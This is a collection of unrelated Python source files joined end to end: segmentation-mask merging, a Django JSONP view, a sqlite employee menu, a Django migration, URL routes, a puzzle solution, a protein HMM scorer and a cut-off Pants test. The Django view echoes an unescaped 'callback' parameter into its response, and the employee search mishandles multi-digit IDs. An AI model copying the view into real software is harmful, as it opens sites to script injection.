    merged_dir=output_dir+"/Merged_mask"
    output_dir=output_dir+"/Orig"

    # image transform
    transform = transforms.Compose([
        transforms.ToTensor(),
        transforms.Normalize(cfg.DATASET.MEAN, cfg.DATASET.STD),
    ])

    # create the model using the configuration
    model = get_segmentation_model().to(args.device)
    model.eval()

    # softmax layer for confidence
    softmax_layer = torch.nn.Softmax(dim=0)

    if os.path.isdir(args.input_img):
        img_paths = [os.path.join(args.input_img, x) for x in os.listdir(args.input_img) if "." in x]
    else:
        img_paths = [args.input_img]

    # print("Images for inference:")
    # print(img_paths)
    print("\n Output file path: ", output_dir)
    # print("\n CFG: /n", cfg)
    print("Dataset Name: ", cfg.DATASET.NAME)
    for img_path in img_paths:
        image = Image.open(img_path).convert('RGB')

        # getting the flipped image
        flipped_image = Image.open(img_path).convert('RGB')
        size_ = image.size
        flipped_image = flipped_image.transpose(method = Image.FLIP_LEFT_RIGHT)
        flipped_image = flipped_image.resize((cfg.TRAIN.BASE_SIZE, cfg.TRAIN.BASE_SIZE), Image.BILINEAR)
        flipped_image = transform(flipped_image).unsqueeze(0).to(args.device)

        image = image.resize((cfg.TRAIN.BASE_SIZE, cfg.TRAIN.BASE_SIZE), Image.BILINEAR)
        # images = transform(image).unsqueeze(0).to(args.device)
        image = transform(image).unsqueeze(0).to(args.device)

        # merging the two images in one batch
        images = torch.cat((image, flipped_image), 0)
        with torch.no_grad():
            output = model(images)

        # Get the mask
        pred = torch.argmax(output[0], 1)[0].cpu().data.numpy()
        pred_f = torch.argmax(output[0], 1)[1].cpu().data.numpy()
        output_norm = softmax_layer(output[0])
        confidence_all = torch.max(output_norm, 1)[0].cpu().data.numpy()*255

        mask = get_color_pallete(pred, cfg.DATASET.NAME)
        mask_f = get_color_pallete(pred_f, cfg.DATASET.NAME)
        mask = mask.resize(size_)
        mask_f = mask_f.resize(size_)
        mask_f = mask_f.transpose(method = Image.FLIP_LEFT_RIGHT)

        # get the result of cropped images (in this case no cropping just flipping)
        cropping_results = [np.array(mask), np.array(mask_f)]
        cropping_edges = [[0, 0, size_[0], size_[1]], [0, 0, size_[0], size_[1]]]

        outname = os.path.splitext(os.path.split(img_path)[-1])[0] + '.png'
        mask.save(os.path.join(output_dir, outname))
        mask_f.save(os.path.join(flipped_dir, outname))

        # Calc confidence
        confidence = np.array(confidence_all, dtype=np.uint8)[0]
        conf_img = Image.fromarray(confidence)
        conf_img = conf_img.resize(size_, Image.BILINEAR)
        conf_img.save(os.path.join(confidence_output_dir, outname))

        confidence_f = np.array(confidence_all, dtype=np.uint8)[1]
        conf_img_f = Image.fromarray(confidence_f)
        conf_img_f = conf_img_f.resize(size_, Image.BILINEAR)
        conf_img_f = conf_img_f.transpose(method = Image.FLIP_LEFT_RIGHT)
        conf_img_f.save(os.path.join(confidence_flipped_dir, outname))
        cropping_confidence = [conf_img, conf_img_f]
        # mask_f.save(os.path.join(flipped_dir, outname))

        # the result of the merged images
        merged_result = getMergedSemanticFromCrops(cropping_results, cropping_confidence, cropping_edges, "And", [size_[1], size_[0]])
        merged_result.save(os.path.join(merged_dir, outname))

# function merging images
def getMergedSemanticFromCrops(crops_result, crops_confidence, crops_edges, function, full_size):
    '''
    function for merging the results from two or more images
    '''

    palette_mirror = 0
    palette_glass = 1
    palette_OOS = 3
    palette_floor = 4
    palette_FU = 2
    palette_BG = 5

    #################################################################
    ####################### Using And function ######################
    #################################################################

    if function.lower() == "and":
        # rospyLogInfoWrapper("Using And for merging cropped images")
        orig_glass = crops_result[0]==palette_glass
        orig_mirror = crops_result[0]==palette_mirror
        orig_OOS = crops_result[0]==palette_OOS
        orig_floor = crops_result[0]==palette_floor
        orig_FU = crops_result[0]==palette_FU
        # classes = [np.ones(full_size) for _ in range(max_clasess)]
        # merged_classes = []
        for i in range(1, len(crops_result)):
            cropped_glass = crops_result[i]==palette_glass
            cropped_mirror = crops_result[i]==palette_mirror
            cropped_OOS = crops_result[i]==palette_OOS
            cropped_floor = crops_result[i]==palette_floor
            cropped_FU = crops_result[i]==palette_FU
            cropped_all_optical = np.logical_or(cropped_mirror, cropped_glass)
            cropped_all_optical = np.logical_or(cropped_all_optical, cropped_OOS)
            cropped_all_floor = np.logical_or(cropped_FU, cropped_floor)

            cropped_all_optical_extended = np.ones(full_size)
            cropped_all_optical_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_all_optical

            cropped_all_floor_extended = np.ones(full_size)
            cropped_all_floor_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_all_floor

            orig_glass = np.logical_and(cropped_all_optical_extended, orig_glass)
            orig_mirror = np.logical_and(cropped_all_optical_extended, orig_mirror)
            orig_OOS = np.logical_and(cropped_all_optical_extended, orig_OOS)
            orig_floor = np.logical_and(cropped_all_floor_extended, orig_floor)
            orig_FU = np.logical_and(cropped_all_floor_extended, orig_FU)

        background = np.logical_or(orig_glass, orig_mirror)
        background = np.logical_or(background, orig_OOS)
        background = np.logical_or(background, orig_floor)
        background = np.logical_or(background, orig_FU)
        background = np.logical_not(background)
        res = orig_glass * palette_glass
        res += orig_mirror * palette_mirror
        res += orig_OOS * palette_OOS
        res += orig_floor * palette_floor
        res += orig_FU * palette_FU
        res += background * palette_BG

        res_img = get_color_pallete(res, cfg.DATASET.NAME)

        res_img = res_img.convert("RGB")
        return res_img

    #################################################################
    ####################### Using Or function #######################
    #################################################################

    elif function.lower() == "or":
        # rospyLogInfoWrapper("Using And for merging cropped images")
        orig_glass = crops_result[0]==palette_glass
        orig_mirror = crops_result[0]==palette_mirror
        orig_OOS = crops_result[0]==palette_OOS
        orig_floor = crops_result[0]==palette_floor
        orig_FU = crops_result[0]==palette_FU
        # classes = [np.ones(full_size) for _ in range(max_clasess)]
        # merged_classes = []
        for i in range(1, len(crops_result)):
            cropped_glass = crops_result[i]==palette_glass
            cropped_mirror = crops_result[i]==palette_mirror
            cropped_OOS = crops_result[i]==palette_OOS
            cropped_floor = crops_result[i]==palette_floor
            cropped_FU = crops_result[i]==palette_FU
            # cropped_all_optical = np.logical_or(cropped_mirror, cropped_glass)
            # cropped_all_optical = np.logical_or(cropped_all_optical, cropped_OOS)
            # cropped_all_floor = np.logical_or(cropped_FU, cropped_floor)

            cropped_glass_extended = np.zeros(full_size)
            cropped_glass_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_glass

            cropped_mirror_extended = np.zeros(full_size)
            cropped_mirror_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_mirror

            cropped_OOS_extended = np.zeros(full_size)
            cropped_OOS_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_OOS

            cropped_floor_extended = np.zeros(full_size)
            cropped_floor_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_floor

            cropped_FU_extended = np.ones(full_size)
            cropped_FU_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = cropped_FU

            orig_glass = np.logical_or(cropped_glass_extended, orig_glass)
            orig_free = np.logical_not(orig_glass)
            orig_mirror = np.logical_and(np.logical_or(cropped_mirror_extended, orig_mirror), orig_free)
            orig_free = np.logical_and(orig_free, np.logical_not(orig_mirror))
            orig_OOS = np.logical_and(np.logical_or(cropped_OOS_extended, orig_OOS), orig_free)
            orig_free = np.logical_and(orig_free, np.logical_not(orig_OOS))
            orig_floor = np.logical_and(np.logical_or(cropped_floor_extended, orig_floor), orig_free)
            orig_FU = np.logical_and(cropped_FU_extended, orig_FU)

        background = np.logical_or(orig_glass, orig_mirror)
        background = np.logical_or(background, orig_OOS)
        background = np.logical_or(background, orig_floor)
        background = np.logical_or(background, orig_FU)
        background = np.logical_not(background)
        res = orig_glass * palette_glass
        res += orig_mirror * palette_mirror
        res += orig_OOS * palette_OOS
        res += orig_floor * palette_floor
        res += orig_FU * palette_FU
        res += background * palette_BG

        res_img = get_color_pallete(res, cfg.DATASET.NAME)

        res_img = res_img.convert("RGB")
        return res_img

    #################################################################
    #################### Using confidence values# ###################
    #################################################################

    elif function.lower() == "confidence":

        confidence_extended_all = [crops_confidence[0]]
        results_extended_all = [crops_result[0]]
        for i in range(1, len(crops_confidence)):

            cropped_confidence_extended = np.zeros(full_size)
            cropped_confidence_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = crops_confidence[i]
            confidence_extended_all.append(cropped_confidence_extended)

            cropped_segmentation_extended = np.zeros(full_size)
            cropped_segmentation_extended[crops_edges[i][1]:crops_edges[i][3], crops_edges[i][0]:crops_edges[i][2]] = crops_result[i]
            results_extended_all.append(cropped_segmentation_extended)

        max_confidence_args = np.argsort(confidence_extended_all, axis=0)
        result_sorted_confidence = np.take_along_axis(np.array(results_extended_all), max_confidence_args, axis=0)
        res = result_sorted_confidence[-1]
        # rospyLogInfoWrapper("result_max_confidence shape"+str(result_sorted_confidence.shape))
        # rospyLogInfoWrapper("result_max_confidence[0][1]"+str(max_confidence_args[0][0][0:4]))
        # rospyLogInfoWrapper("result_max_confidence[0][2]"+str(max_confidence_args[2][0][0:4]))

        res_img = get_color_pallete(res, cfg.DATASET.NAME)

        res_img = res_img.convert("RGB")
        return res_img

if __name__ == '__main__':
    demo()


# -*- coding: utf-8 -*-
# @Time     : 2018/4/19 9:43
# @Author   : Narata
# @Project  : demo
# @File     : view.py
# @Software : PyCharm

from django.shortcuts import render
from django.http import HttpResponse

def add(request):
    a = request.GET['a']
    b = request.GET['b']
    callback = request.GET['callback']
    _ = request.GET['_']
    result = "{}({})".format(callback, str({'result': int(a)+int(b)}))
    return HttpResponse(result)


import sqlite3
import pandas as pd

# Define DBOperation class to manage all data into the database.
# Give a name of your choice to the database
class DBOperations:
    sql_create_table_firsttime = "CREATE TABLE IF NOT EXISTS employee (" \
                                 "employee_id INTEGER PRIMARY KEY AUTOINCREMENT," \
                                 "Title VARCHAR(4) NOT NULL, " \
                                 "Forename VARCHAR(20) NOT NULL, " \
                                 "Surname VARCHAR(20) NOT NULL, " \
                                 "EmailAddress VARCHAR (255) NOT NULL, " \
                                 "Salary FLOAT(20) NOT NULL" \
                                 ")"

    sql_create_table = "CREATE TABLE IF NOT EXISTS employee (" \
                       "employee_id INTEGER PRIMARY KEY AUTOINCREMENT," \
                       "Title VARCHAR(4) NOT NULL, " \
                       "Forename VARCHAR(20) NOT NULL, " \
                       "Surname VARCHAR(20) NOT NULL, " \
                       "EmailAddress VARCHAR (255) NOT NULL, " \
                       "Salary FLOAT(20) NOT NULL" \
                       ")"

    sql_check_table_exists = "SELECT COUNT(*) " \
                             "FROM sqlite_master " \
                             "WHERE name = 'employee'"
    sql_insert = "INSERT INTO employee (Title, Forename, Surname, EmailAddress, Salary)" \
                 "VALUES(?, ?, ?, ?, ?);"
    sql_select_all = "SELECT * FROM employee"
    sql_search = "SELECT * " \
                 "FROM employee " \
                 "WHERE employee_id = ?;"
    sql_update_data = "UPDATE employee SET Title=?, Forename=?, Surname=?, EmailAddress=?, Salary=? WHERE employee_id=?"
    sql_delete_data = "DELETE FROM employee WHERE employee_id=?"
    sql_drop_table = "DROP TABLE employee"

    def __init__(self):
        try:
            self.conn = sqlite3.connect("abcDB")
            self.cur = self.conn.cursor()
            # self.cur.execute(self.sql_create_table_firsttime)
            self.conn.commit()
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def get_connection(self):
        self.conn = sqlite3.connect("abcDB")
        self.cur = self.conn.cursor()

    def create_table(self):
        try:
            self.get_connection()
            self.cur.execute(self.sql_check_table_exists)
            if self.cur.fetchone()[0] == 1:
                print("Table employee already exists")
            else:
                self.cur.execute(self.sql_create_table)
                self.conn.commit()
                print("Table created successfully")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def drop_table(self):
        try:
            self.get_connection()
            self.cur.execute(self.sql_drop_table)
            self.conn.commit()
            print("Table dropped")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def insert_data(self):
        try:
            self.get_connection()

            emp = Employee()
            emp.set_employee_title(str(input("Enter Employee Title: ")))
            emp.set_forename(str(input("Enter Employee Forename: ")))
            emp.set_surname(str(input("Enter Employee Surname: ")))
            emp.set_email(str(input("Enter Employee Email: ")))
            emp.set_salary(float(input("Enter Employee Salary: ")))

            self.cur.execute(self.sql_insert, tuple(str(emp).split("\n")))
            self.conn.commit()
            print("Inserted data successfully")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def select_all(self):
        try:
            self.get_connection()
            data = pd.read_sql_query(self.sql_select_all, self.conn)
            if data.empty:
                print('Table employee is empty!')
            else:
                print(data.to_string(index=False))
            # think how you could develop this method to show the records
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def search_data(self):
        try:
            self.get_connection()
            employee_id = int(input("Enter Employee ID: "))
            self.cur.execute(self.sql_search, tuple(str(employee_id)))
            result = self.cur.fetchone()
            if type(result) == type(tuple()):
                for index, detail in enumerate(result):
                    if index == 0:
                        print("Employee ID: " + str(detail))
                    elif index == 1:
                        print("Employee Title: " + detail)
                    elif index == 2:
                        print("Employee Name: " + detail)
                    elif index == 3:
                        print("Employee Surname: " + detail)
                    elif index == 4:
                        print("Employee Email: " + detail)
                    else:
                        print("Salary: " + str(detail))
            else:
                print("No Record")

        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def update_data(self):
        try:
            self.get_connection()
            # Update statement
            employee_id = int(input("Enter Employee ID: "))
            emp_title = str(input("Enter Employee's New Title: "))
            forename = str(input("Enter Employee's New Forename: "))
            surname = str(input("Enter Employee's New Surname: "))
            email_address = str(input("Enter Employee's New Email Address: "))
            salary = str(input("Enter Employee's New Salary: "))
            result = self.cur.execute(self.sql_update_data,
                                      [(str(emp_title)), (str(forename)), (str(surname)), (str(email_address)),
                                       (float(salary)), (str(employee_id)), ])
            if result.rowcount != 0:
                self.conn.commit()
                print(str(result.rowcount) + "Row(s) affected.")
            else:
                print("Cannot find this record in the database")

        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    # Define Delete_data method to delete data from the table.
    # The user will need to input the employee id to delete the corrosponding record.
    def delete_data(self):
        try:
            self.get_connection()
            employee_id = int(input("Enter Employee ID: "))
            result = self.cur.execute(self.sql_delete_data, [str(employee_id, )])
            if result.rowcount != 0:
                self.conn.commit()
                print(str(result.rowcount) + "Row(s) affected.")
            else:
                print("Cannot find this record in the database")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

class Employee:

    def __init__(self):
        self.employee_id = 0
        self.empTitle = ''
        self.forename = ''
        self.surname = ''
        self.email = ''
        self.salary = 0.0

    def set_employee_id(self, employee_id):
        self.employee_id = employee_id

    def set_employee_title(self, emp_title):
        self.empTitle = emp_title

    def set_forename(self, forename):
        self.forename = forename

    def set_surname(self, surname):
        self.surname = surname

    def set_email(self, email):
        self.email = email

    def set_salary(self, salary):
        self.salary = salary

    def get_employee_id(self):
        return self.employee_id

    def get_employee_title(self):
        return self.empTitle

    def get_forename(self):
        return self.forename

    def get_surname(self):
        return self.surname

    def get_email(self):
        return self.email

    def get_salary(self):
        return self.salary

    def __str__(self):
        return self.empTitle + "\n" + self.forename + "\n" + self.surname + "\n" + self.email + "\n" + str(self.salary)

# The main function will parse arguments.
# These argument will be defined by the users on the console.
# The user will select a choice from the menu to interact with the database.

while True:
    print("\n Menu:")
    print("****************************************")
    print(" 1. Create table EmployeeUoB")
    print(" 2. Insert data into EmployeeUoB")
    print(" 3. Select all data into EmployeeUoB")
    print(" 4. Search an employee")
    print(" 5. Update data some records")
    print(" 6. Delete data some records")
    print(" 7. Drop table Employee")
    print(" 8. Exit\n")

    __choose_menu = int(input("Enter your choice: "))
    db_ops = DBOperations()
    if __choose_menu == 1:
        db_ops.create_table()
    elif __choose_menu == 2:
        db_ops.insert_data()
    elif __choose_menu == 3:
        db_ops.select_all()
    elif __choose_menu == 4:
        db_ops.search_data()
    elif __choose_menu == 5:
        db_ops.update_data()
    elif __choose_menu == 6:
        db_ops.delete_data()
    elif __choose_menu == 7:
        db_ops.drop_table()
    elif __choose_menu == 8:
        exit(0)
    else:
        print("Invalid Choice")


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models
import datetime
from django.utils.timezone import utc

class Migration(migrations.Migration):

    dependencies = [
        ('shifts_app', '0010_auto_20171130_2233'),
    ]

    operations = [
        migrations.RemoveField(
            model_name='shift',
            name='shiftGroup',
        ),
        migrations.AlterField(
            model_name='shift',
            name='end_datetime',
            field=models.DateTimeField(default=datetime.datetime(2017, 12, 1, 22, 40, 31, 52072, tzinfo=utc)),
        ),
        migrations.AlterField(
            model_name='shift',
            name='start_datetime',
            field=models.DateTimeField(default=datetime.datetime(2017, 12, 1, 22, 40, 31, 52011, tzinfo=utc)),
        ),
        migrations.DeleteModel(
            name='ShiftGroup',
        ),
    ]


"""mtgrecorder URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/1.9/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.conf.urls import url, include
    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url, include
from django.contrib import admin

urlpatterns = [
    url(r'^tournamentHost/', include('tournamentHost.urls')),
    url(r'^admin/', admin.site.urls),
    # Auth-related URLs:
    url(r'^login/$', 'django.contrib.auth.views.login', name='login'),
    url(r'^logout/$', 'django.contrib.auth.views.logout', name='logout'),
    #url(r'^loggedin/$', 'mtgrecorder.views.loggedin', name='loggedin'),
    # Registration URLs
    url(r'^register/$', 'mtgrecorder.views.register', name='register'),
    url(r'^register/complete/$', 'mtgrecorder.views.registration_complete', name='registration_complete'),
    url(r'^welcome/', 'mtgrecorder.views.welcome', name='welcome'),
    url(r'^request/', 'mtgrecorder.views.request_verification', name='request_verification'),
    url(r'^tournament/add/', 'mtgrecorder.views.add_tournament', name='add_tournament'),
    #url(r'^verify_request/', 'mtgrecorder.views.verify_request', name='verify_request'),
    url(r'^profile/([A-Za-z0-9\.\_\-]+)', 'mtgrecorder.views.profile', name='profile'),
    #url(r'', 'mtgrecorder.views.welcome', name='welcome'),
    url(r'^match/(\d+)$', 'mtgrecorder.views.confirm_match', name='confirm_match'),
    # Below should be all confirmed match results...
    #url(r'^answer/$',      'app.views.xxx_test1', name='newAnswer '),
]


import itertools

from day07.day7_lib import calc_amp, calc_amp_with_feedback
from util import get_program

if __name__ == "__main__":
    p = get_program("inputs/day7.txt")

    all_possible_phase_settings = itertools.permutations(range(5))
    a_max, max_config = max(
        ((calc_amp(p, phase_config), phase_config) for phase_config in all_possible_phase_settings),
        key=lambda s: s[0])
    print(f"The maximal amplitude that 5 amps can give is: {a_max}") # 77500

    amplification_and_settings = (
        (calc_amp_with_feedback(p, phase_config), phase_config)
        for phase_config in
        itertools.permutations(range(5, 10))
    )
    a_max, max_config = max(amplification_and_settings, key=lambda s: s[0])
    print(f"With feedback the max becomes {a_max}") # 22476942


import numpy as np
from collections import Counter
import pandas as pd
from math import log10
import matplotlib.pyplot as plt

from HMM_errors import *

class SequenceReader:
    """
    This class builds HMM from  protein or DNA sequence alignment.

    """

    def __init__(self, path_to_file, amino_acids=True, deletion_sign="-"):

        alignment_list = []

        with open(path_to_file) as seq_file:
            for line in seq_file:
                alignment_list.append(list(line.strip()))

        if not alignment_list:
            raise EmptyFile("File {} is empty!".format(path_to_file))

        self.alignment_list = alignment_list
        self.alignment_len = len(alignment_list)

        self.position_list = SequenceReader.transpose(alignment_list)
        self.position_len = len(self.position_list)

        self.deletion_sign = deletion_sign

        self.alignment_alphabet = (
            "A", "R", "N", "D", "C", "E", "Q", "G", "H", "I", "L", "K", "M", "F", "P", "S", "T", "W", "Y",
            "V") if amino_acids else ("A", "C", "G", "T")
        self.amino_acids = amino_acids

        self.true_seq, self.match_emission, self.insert_emission = self.calculate_emissions()

        self.match_emission = pd.DataFrame(SequenceReader.transpose(self.match_emission))
        self.match_emission.index = self.alignment_alphabet
        self.insert_emission = pd.DataFrame(SequenceReader.transpose(self.insert_emission))
        self.insert_emission.index = self.alignment_alphabet

        self.L = len(self.true_seq)
        self.trans = self.calculate_transitions()

    def calculate_transitions(self):
        match_transition = {"M": [0] * (self.L + 1), "D": [0] * (self.L + 1), "I": [0] * (self.L + 1)}
        insert_transition = {"M": [0] * (self.L + 1), "D": [0] * (self.L + 1), "I": [0] * (self.L + 1)}
        # delete_transition = {"M": [float('nan')] + ([0] * self.L), "D": [float('nan')] + ([0] * self.L),
        #                      "I": [float('nan')] + ([0] * self.L)}
        delete_transition = {"M": [float(0)] + ([0] * self.L), "D": [float(0)] + ([0] * self.L),
                             "I": [float(0)] + ([0] * self.L)}

        trans = {"M": match_transition, "D": delete_transition, "I": insert_transition}

        for alignment_i, sequence in enumerate(self.alignment_list):
            last_seq_position = 0
            first_transition_index = "M"

            for true_seq_i, x in enumerate(self.true_seq):
                self.process_transitions(sequence, trans, last_seq_position, x, true_seq_i, first_transition_index)
                first_transition_index = "D" if sequence[x] == self.deletion_sign else "M"
                last_seq_position = x + 1
            else:
                if last_seq_position != 0:
                    true_seq_i += 1
                    self.process_transitions(sequence, trans, last_seq_position, len(sequence), true_seq_i,
                                             first_transition_index)

        return SequenceReader.divide_dict(trans)

    def process_insertion(self, insertion, insert_transition, sequence_sign, true_seq_i):
        last_transition_index = "D" if sequence_sign == self.deletion_sign else "M"
        if insertion:
            insert_transition["I"][true_seq_i] += len(insertion) - 1
            insert_transition[last_transition_index][true_seq_i] += 1
            last_transition_index = "I"
        return last_transition_index

    def process_transitions(self, sequence, trans, last_seq_position, x, true_seq_i, first_transition_index):
        insertion = SequenceReader.clear_list(sequence[last_seq_position:x])
        sign_in_sequence = sequence[x] if x < len(sequence) else True
        last_transition_index = self.process_insertion(insertion, trans["I"], sign_in_sequence, true_seq_i)
        trans[first_transition_index][last_transition_index][true_seq_i] += 1

    def calculate_emissions(self, deletion_sign="-", treshold=0.5):
        true_seq = []

        match_emission = []
        insert_emission = []

        full_occurrence_count = {}

        for i, position_i in enumerate(self.position_list):

            current_occurrence_count = Counter(position_i)  # UPDATE HERE!

            deletion_count = current_occurrence_count.get(deletion_sign, 0)

            if deletion_count / self.alignment_len < treshold:
                match_emission.append(SequenceReader.divide_list(self.build_count_column(current_occurrence_count)))
                insert_emission.append(SequenceReader.divide_list(self.build_count_column(full_occurrence_count)))
                true_seq.append(i)
                full_occurrence_count = {}
            else:
                full_occurrence_count = Counter(full_occurrence_count) + Counter(current_occurrence_count)
        else:
            insert_emission.append(SequenceReader.divide_list(self.build_count_column(full_occurrence_count)))

        # match_emission.insert(0,[float("NaN")]*len(self.alignment_alphabet))
        match_emission.insert(0, [float(0)] * len(self.alignment_alphabet))

        return true_seq, match_emission, insert_emission

    def build_count_column(self, occurrence_count):
        match_column = []
        for letter in self.alignment_alphabet:
            match_column.append(occurrence_count.get(letter, 0))
        return match_column

    def forward(self, sequence):

        FM = np.zeros(shape=(len(sequence) + 1, self.L + 1), dtype=np.float64)
        FI = np.zeros(shape=(len(sequence) + 1, self.L + 1), dtype=np.float64)
        FD = np.zeros(shape=(len(sequence) + 1, self.L + 1), dtype=np.float64)

        # row_len = seqeunce len = i
        # column_len = model len = j

        FI[0, 0] = np.log(self.insert_emission.loc[sequence[0]][0])
        # FM[1, 1] = np.log(self.match_emission.loc[sequence[1]][1]) + np.log(
        #     self.trans["M"]["M"][0] * np.exp(FM[0, 0]) + self.trans["I"]["M"][0] * np.exp(FI[0, 0])
        # )
        #
        # FI[1, 1] = np.log(self.insert_emission.loc[sequence[1]][1]) + np.log(
        #     self.trans["M"]["I"][0] * np.exp(FM[0, 1]) + self.trans["I"]["I"][0] * np.exp(FI[0, 1])
        # )
        #
        # FD[1, 1] = np.log(self.trans["M"]["D"][0] * np.exp(FM[1, 0]) + self.trans["I"]["D"][0] * np.exp(FI[1, 0]))

        for i, sign in enumerate(sequence):
            i += 1
            for j in range(1, self.L + 1):
                FM[i, j] = np.log(self.match_emission.loc[sign][j] / (1 / len(self.alignment_alphabet))) + np.log(
                    (self.trans["M"]["M"][j - 1] * np.exp(FM[i - 1][j - 1])) +
                    (self.trans["I"]["M"][j - 1] * np.exp(FI[i - 1][j - 1])) +
                    (self.trans["D"]["M"][j - 1] * np.exp(FD[i - 1][j - 1]))
                )
                FI[i, j] = np.log(self.insert_emission.loc[sign][j] / (1 / len(self.alignment_alphabet))) + np.log(
                    (self.trans["M"]["I"][j - 1] * np.exp(FM[i - 1][j])) +
                    (self.trans["I"]["I"][j - 1] * np.exp(FI[i - 1][j])) +
                    (self.trans["D"]["I"][j - 1] * np.exp(FD[i - 1][j]))
                )
                FD[i, j] = np.log(
                    (self.trans["M"]["D"][j - 1] * np.exp(FM[i][j - 1])) +
                    (self.trans["I"]["D"][j - 1] * np.exp(FI[i][j - 1])) +
                    (self.trans["D"]["D"][j - 1] * np.exp(FD[i][j - 1]))
                )
        return FM[i][j]

    @staticmethod
    def compare(sequence, HMM_model_1, HMM_model_2=False):
        if not HMM_model_2:
            HMM_model_2 = SequenceReader.random_model(HMM_model_1.position_len, HMM_model_1.alignment_len,
                                                      HMM_model_1.amino_acids, HMM_model_1.deletion_sign)
        return log10(HMM_model_1.forward(sequence) / HMM_model_2.forward(sequence))

    @staticmethod
    def pairwise(iterable):
        "s -> (s0,s1), (s1,s2), (s2, s3), ..."

        from itertools import tee

        a, b = tee(iterable)
        next(b, None)
        return zip(a, b)

    @staticmethod
    def transpose(iterable):
        return list(map(list, zip(*iterable)))

    @staticmethod
    def clear_list(list_to_clear, element_to_delete="-"):
        return [x for x in list_to_clear if x != element_to_delete]

    @staticmethod
    def divide_list(list_to_divide):
        list_to_divide = [x + 1 for x in list_to_divide]
        list_sum = sum(list_to_divide)
        return [x / list_sum for x in list_to_divide]

    @staticmethod
    def divide_dict(dict_to_divide):
        for first, second in dict_to_divide.items():
            fraction = [sum(x) + 1 * 3 for x in zip(*second.values())]
            for key_of_list, list_to_divide in second.items():
                list_to_divide = [(x + 1) / y for x, y in zip(list_to_divide, fraction)]
                dict_to_divide[first][key_of_list] = list_to_divide
        return dict_to_divide

def plot_matrix(title, data):
    fig = plt.figure(figsize=(10, 6))
    plt.plot(data, linestyle="", marker="o")
    plt.title(title)

    fig = plt.gcf()
    fig.savefig('plots/{}.png'.format(title.replace(" ", "_")))
    plt.show()

def plot_model(model, name, position):
    print("{} model len: {}".format(name, model.L))
    print("{} T, mE, iE shapes: {},{},{}".format(name, (9, len(model.trans["M"]["M"])), model.match_emission.shape,
                                                 model.insert_emission.shape))

    print("----------Position {} of {} HMM model.------------".format(position, name))
    plot_matrix("Position {} of {} HMM model: Match emission".format(position, name),
                model.match_emission.loc[:, position])
    plot_matrix("Position {} of {} HMM model: Insert emission".format(position, name),
                model.insert_emission.loc[:, position])

    trans_table = []
    trans_names = []
    for x1, y1 in model.trans.items():
        for x2, y2 in y1.items():
            print("{}-{}: {}".format(x1, x2, y2[50]))
            trans_table.append([y2[50]])
            trans_names.append("{}-{}".format(x1, x2))

    trans_df =  pd.DataFrame(trans_table,index=trans_names)
    print(trans_df)
    plot_matrix("Position {} of {} HMM model: Transitions".format(position, name), trans_df)

def main():
    atp = SequenceReader("ATPases.txt")
    gtp = SequenceReader("GTP_binding_proteins.txt")

    for position in [49, 50]:
        for model, name in [(atp, "ATPases"), (gtp, "GTP binding proteins")]:
            plot_model(model, name, position)

    y = []
    with open("Unclassified_proteins.txt") as file:
        for line in file:
            atp_score = atp.forward(line.strip())
            gtp_score = gtp.forward(line.strip())
            print()
            print(line.strip())
            print("ATP score: {}".format(atp_score))
            print("GTP score: {}".format(gtp_score))
            y.append(atp_score - gtp_score)

    fig = plt.figure(figsize=(10, 6))

    y_plus = [x if x >= 0 else 0 for x in y]
    y_minus = [x if x < 0 else 0 for x in y]

    x = [x for x in range(len(y))]
    plt.bar(x, y, tick_label=x, width=0.5)

    fig = plt.figure(figsize=(10, 6))
    ax = fig.add_subplot(111)
    ax.bar(x, y_minus, tick_label=x, width=0.5, color='r', label='GTP binding proteins')
    ax.bar(x, y_plus, tick_label=x, width=0.5, color='b', label='ATPases')
    plt.title('Family membership')
    ax.legend()
    plt.show()

if __name__ == "__main__":
    main()


from __future__ import absolute_import, division, print_function, unicode_literals

import os

from pants.base.build_environment import get_buildroot
from pants_test.backend.python.pants_requirement_integration_test_base import \
  PantsRequirementIntegrationTestBase

class PantsRequirementIntegrationTest(PantsRequirementIntegrationTestBase):
  """A pants plugin should be able to depend on a pants_requirement() alone to
  declare its dependencies on pants modules. This plugin, when added to the
  pythonpath and backend_packages, should be able to declare new BUILD file
  objects."""

  @classmethod
  def use_pantsd_env_var(cls):
    """The test fails to run under pantsd because of a failure to initialize a subsystem"""
    return False

  def run_with_testproject_backend_pkgs(self, cmd):
    testproject_backend_src_dir = os.path.join(
      get_buildroot(), 'testprojects/pants-plugins/src/python')
    testproject_backend_pkg_name = 'test_pants_plugin'
    pants_req_addr = 'testprojects/pants-plugins/3rdparty/python/pants'
    pants_test_infra_addr = 'tests/python/pants_test:test_infra'
    pre_cmd_args = [
      "--pythonpath=+['{}']".format(testproject_backend_src_dir),
      "--backend-packages=+['{}']".format(testproject_backend_pkg_name),
      "--pants-test-infra-pants-requirement-target={}".format(pants_req_addr),
      "--pants-test-infra-pants-test-infra-target={}".format(pants_test_infra_addr),
